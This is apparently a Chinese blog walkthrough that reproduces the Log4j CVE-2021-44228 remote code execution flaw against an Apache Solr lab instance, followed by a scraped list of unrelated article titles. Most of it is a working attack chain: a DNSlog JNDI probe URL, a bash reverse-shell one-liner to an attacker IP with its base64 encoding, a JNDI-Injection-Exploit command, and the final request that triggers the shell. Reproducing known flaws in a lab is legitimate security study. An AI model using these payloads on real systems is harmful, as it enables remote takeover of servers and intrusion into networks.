log4j CVE-2021-44228 RCE漏洞复现

一、漏洞特征

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

影响版本:Apache Log4j 2.x <= 2.14.1

访问http://192.168.232.131:8983/即可查看到Apache Solr的后台页面

访问

http://192.168.232.131:8983/solr/admin/cores?action=${jndi:ldap://ugvqt3.dnslog.cn}

dnslog可以收到相关日志

二、漏洞复现

1.准备payload

bash -i >& /dev/tcp/192.168.245.2/6969 0>&1

192.168.245.2是攻击机ip

base加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4yLzY5NjkgMD4mMQ==

2.开启监听

3.获取jndi payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4yLzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.245.2

这里echo后面就是你加密之后的值,最后面的IP还是攻击机的IP,回车启动

启动后提取第一个payload:rmi://192.168.245.2:1099/sfvz6q

4.反弹shell

http://192.168.232.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.245.2:1099/sfvz6q}

相关推荐
遥不可及~~斌2 天前
Spring Boot 项目日志系统全攻略:Logback、Log4j2、Log4j与SLF4J整合指南
spring boot·log4j·logback
weixin_438335402 天前
SpringBoot依赖冲突引发的 log4j 日志打印问题及解决方法
spring boot·单元测试·log4j
我是坑货3 天前
maven的项目管理和构建生命周期
java·log4j·maven
凭君语未可11 天前
详解Maven的主要生命周期
java·log4j·maven
WIN赢12 天前
单元测试的编写
单元测试·log4j
zerohawk15 天前
【log4j】配置Slf4j
junit·单元测试·log4j
熬了夜的程序员18 天前
Go 语言封装邮件发送功能
开发语言·后端·golang·log4j
故事与他64519 天前
Apache中间件漏洞攻略
java·服务器·安全·网络安全·中间件·log4j·apache
江沉晚呤时21 天前
精益架构设计:深入理解与实践 C# 中的单一职责原则
java·jvm·算法·log4j·.netcore·net
为美好的生活献上中指22 天前
java每日精进 3.21 【SpringBoot规范2.0】
java·开发语言·spring boot·log4j·async·mail